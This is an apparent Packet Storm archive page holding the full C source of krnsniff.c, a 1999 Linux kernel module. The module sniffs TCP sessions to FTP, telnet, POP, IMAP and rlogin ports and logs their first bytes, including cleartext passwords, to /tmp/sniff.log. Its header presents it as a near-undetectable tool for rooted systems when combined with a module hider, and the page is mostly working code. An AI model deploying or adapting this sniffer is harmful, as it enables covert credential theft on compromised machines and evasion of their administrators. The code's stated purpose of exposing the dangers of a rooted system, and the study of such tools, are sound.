exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

krnsniff.c

krnsniff.c
Posted Dec 7, 1999
Authored by Kossak | Site rnl.ist.utl.pt

krnsniff.c v0.1a - A kernel based sniffer module tested on linux-2.2.5 kernel. Nearly undetectable if a module hider is loaded.

tags | kernel
systems | linux
SHA-256 | 18adb3e3c161671b9451fb3207ef6e8e30b362da78a994aad81922f1208f11ce

krnsniff.c

Change Mirror Download
/* 
* krnsniff.c v0.1a - A kernel based sniffer module
*
* by Kossak
* ldvg@rnl.ist.utl.pt || http://www.rnl.ist.utl.pt/~ldvg
*
* This file is licensed by the GNU General Public License.
*
* Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
* However, I'm not responsible for setting fire on your computer, loss of
* mental health, bla bla bla...
*
* CREDITS: - Mike Edulla's ever popular linsniffer for some logging ideas.
* - Plaguez and Halflife for an excelent phrack article on
* kernel modules.
* - the kernel developers for a great job.
*
* USAGE: gcc -O2 -DDEBUG -c krnsniff.c -I/usr/src/linux/include ;
* insmod krnsniff.o [dev=<device>]
*
* TODO : - implement a timeout feature (IMPORTANT)
* - better support for certain stupid ppp devices that don't set
* dev->hard_header_len correctly.
* - Parallel logging (like linsniff.c, this thing is still just
* logging one connection at a time).
* - fix strange kmem grows kernel bitchings.
*
* NOTE: the purpose of this module is to expose the dangers of a rooted
* system. It is virtually impossible to detect, if used with a module
* hidder.
* I also intend to develop this further (ie: use a device instead of
* writing to a file; more options) to become a simple and easy way to
* detect unauthorized network intrusions.
*
* Oh, and script kiddies, don't read the FUCKING source, I hope you
* have shit loads of kernel faults and you lose all your 31337 0wn3d
* s1t3z... grrr.
*/

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>

#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>

/* from a piece of pmsac's code... this is pratic :) */
#define DBGPRN1(X) if (debug) printk(KERN_DEBUG X)
#define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y);
#define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z);
#define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W);
#define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V);

#define TRUE -1
#define FALSE 0

#define CAPTLEN 512 /* no. of bytes to log */

/* do a 'touch LOGFILE' _before_ you load the module. */
#define LOGFILE "/tmp/sniff.log"

/* global data */
int debug, errno,
out_c, in_c, thru_c; /* packet counters */

struct t_data {
char content[1500];
unsigned long seq;
struct t_data *next;
};

struct {
unsigned short active;
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
unsigned long totlen;
struct t_data *data;
} victim;

char *dev;
MODULE_PARM(dev, "s"); /* gets the parameter dev=<devname> */
struct device *d;

struct packet_type sniff_proto;

/* Inicial Declarations */

// ERASE ivoid in_ntoa(char *, __u32);
char *in_ntoa(__u32 in);
void tcp_getflags(char *, struct sk_buff *);
void print_packet_info(struct sk_buff *);
int filter(struct sk_buff *);
void m_strncpy(char *, char *, int);
int m_strlen(char *);

void start_victim(struct sk_buff *);
void write_victim(struct sk_buff *);
void end_victim(void);


/* our packet handler */
int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

/* fix some pointers */
skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;
skb->data = (unsigned char *)skb->h.raw + (skb->h.th->doff << 2);
skb->len -= skb->nh.iph->ihl*4 + (skb->h.th->doff << 2);

switch (skb->pkt_type) {
case PACKET_OUTGOING:
out_c++;
/* dont count with the hardware header */
if(strstr(dv->name, "ppp")) {
skb->len -= 10; /* YMMV */
break;
}

skb->len -= dv->hard_header_len;
break;
case PACKET_HOST:
in_c++;
break;
case PACKET_OTHERHOST:
thru_c++;
break;
default:
kfree_skb(skb);
return 0;
}

if(filter(skb)) {
kfree_skb(skb);
return 0;
}

/* rare case of NULL's in buffer contents */
if (m_strlen(skb->data) < skb->len)
skb->len = m_strlen(skb->data);

if (skb->len > CAPTLEN - victim.totlen)
skb->len = CAPTLEN - victim.totlen;

if (skb->len)
write_victim(skb);

pkt_out:
kfree_skb(skb);
return 0;
}

int filter (struct sk_buff *skb) {
/* this is the filter function. it checks if the packet is worth logging */

struct t_data *ptr, *i;

int port = FALSE;

if (skb->nh.iph->protocol != IPPROTO_TCP)
return TRUE;

if (ntohs(skb->h.th->dest) == 21 ||
ntohs(skb->h.th->dest) == 23 ||
ntohs(skb->h.th->dest) == 106 ||
ntohs(skb->h.th->dest) == 109 ||
ntohs(skb->h.th->dest) == 110 ||
ntohs(skb->h.th->dest) == 143 ||
ntohs(skb->h.th->dest) == 513)
port = TRUE;

if (victim.active) {
if((skb->h.th->dest != victim.dport) ||
(skb->h.th->source != victim.sport) ||
(skb->nh.iph->saddr != victim.saddr) ||
(skb->nh.iph->daddr != victim.daddr))
return TRUE;

if (victim.totlen >= CAPTLEN) {

ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : CAPLEN reached ---\n", 50);
ptr->next = NULL;

i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;

end_victim();
return TRUE;
}

if(skb->h.th->rst) {
ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : RST caught ---\n", 50);
ptr->next = NULL;

i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;

end_victim();
return TRUE;
}

if(skb->h.th->fin) {
ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : FIN caught ---\n", 50);
ptr->next = NULL;

i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;

end_victim();
return TRUE;
}
}
else {
if (port && skb->h.th->syn)
start_victim (skb);
else
return TRUE;
}

return FALSE;
}

void start_victim(struct sk_buff *skb) {

victim.active = TRUE;
victim.saddr = skb->nh.iph->saddr;
victim.daddr = skb->nh.iph->daddr;
victim.sport = skb->h.th->source;
victim.dport = skb->h.th->dest;

victim.data = kmalloc(sizeof(struct t_data), GFP_KERNEL);
/* we're a module, we can't afford to crash :P */
if(!victim.data) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
victim.data->seq = ntohl(skb->h.th->seq);
victim.data->next = NULL;

sprintf(victim.data->content, "\n\n*** [%s:%u] ---> [%s:%u]\n\n",
in_ntoa(victim.saddr),
ntohs(victim.sport),
in_ntoa(victim.daddr),
ntohs(victim.dport));

victim.totlen = m_strlen(victim.data->content);
}

void write_victim(struct sk_buff *skb) {

struct t_data *ptr, *i;

ptr = victim.data;

while(ptr) {
if (ntohl(skb->h.th->seq) == ptr->seq)
return; /* seq not incremented (no data) */
ptr = ptr->next;
}

ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}

ptr->next = NULL;
ptr->seq = ntohl(skb->h.th->seq);
m_strncpy(ptr->content, skb->data, skb->len);

/*
* putting it in the ordered list. Not the prettiest code, but my head
* is about to explode.
*/

/* IMPOSSIBLE. TO ERASE LATER
if(!victim.data) {
victim.data = ptr;
return;
}
*/
i = victim.data;

if(ptr->seq < i->seq) {
/*
* we caught a packet "younger" than the starting SYN.
* Likely? no. Possible? yep. forget the bastard.
*/
kfree(ptr);
return;
}
/* actual ordering of tcp packets */
while (ptr->seq > i->seq) {
if (!i->next) {
i->next = ptr;
goto end_wri;
}
if (i->next->seq > ptr->seq)
break;
i = i->next;
}

ptr->next = i->next;
i->next = ptr;

end_wri:
victim.totlen += m_strlen(ptr->content);
return;
}


void end_victim(void) {
/*
* Im now saving the data to a file. This is mainly BSD's process accounting
* code, as seen in the kernel sources.
*/
struct t_data *ptr;
struct file *file = NULL;
struct inode *inode;
mm_segment_t fs;

file = filp_open(LOGFILE, O_WRONLY|O_APPEND, 0);

if (IS_ERR(file)) {
errno = PTR_ERR(file);
DBGPRN2("error %i\n", errno);
goto vic_end;
}

if (!S_ISREG(file->f_dentry->d_inode->i_mode)) {
fput(file);
goto vic_end;
}

if (!file->f_op->write) {
fput(file);
goto vic_end;
}

fs = get_fs();
set_fs(KERNEL_DS);
inode = file->f_dentry->d_inode;
down(&inode->i_sem);
while (victim.data) {

file->f_op->write(file, (char *)&victim.data->content,
m_strlen(victim.data->content), &file->f_pos);
ptr = victim.data;
victim.data = victim.data->next;
kfree(ptr);
}

up(&inode->i_sem);
set_fs(fs);

/* Why comments here? shit, good question. I coded this a long time ago :)
ptr = victim.data;
victim.data = victim.data->next;
kfree(ptr);
}
*/

fput(file);

DBGPRN1("Entry saved\n");

vic_end:
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=FALSE;
victim.totlen=0;
victim.data=NULL;
}

char *in_ntoa(__u32 in) {
static char buff[18];
char *p;

p = (char *) &in;
sprintf(buff, "%d.%d.%d.%d",
(p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
return(buff);
}

void m_strncpy(char *dest, char *src, int size) {
char *i, *p;
p = dest;
for(i = src; *i != 0; i++) {
if (!size) break;
size--;
*p = *i;
p++;
}
*p = '\0';
}

int m_strlen(char *ptr) {
int i = 0;
while (*ptr) {
ptr++;
i++;
}
return i;
}

/* init_module */
int init_module(void) {

#ifdef DEBUG
debug = TRUE;
#else
debug = FALSE;
#endif

in_c = out_c = thru_c = 0;

victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=FALSE;
victim.data=NULL;

if (dev) {
d = dev_get(dev);
if (!d) {
DBGPRN2("Did not find device %s!\n", dev);
DBGPRN1("Sniffing all known devices...");
}
else {
DBGPRN3("Sniffing device %s, ifindex: %i\n",
dev, d->ifindex);
sniff_proto.dev = d;
}
}
else
DBGPRN1("Sniffing all known devices...\n");

sniff_proto.type = htons(ETH_P_ALL);

/* this one just gets us incoming packets */
/* sniff_proto.type = htons(ETH_P_IP); */

sniff_proto.func = pkt_func;
dev_add_pack(&sniff_proto);

return(0);
}

void cleanup_module(void) {
dev_remove_pack(&sniff_proto);
end_victim();

DBGPRN4("Statistics: [In: %i] [Out: %i] [Thru: %i]\n",
in_c, out_c, thru_c);
DBGPRN1("Sniffer Unloaded\n");
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close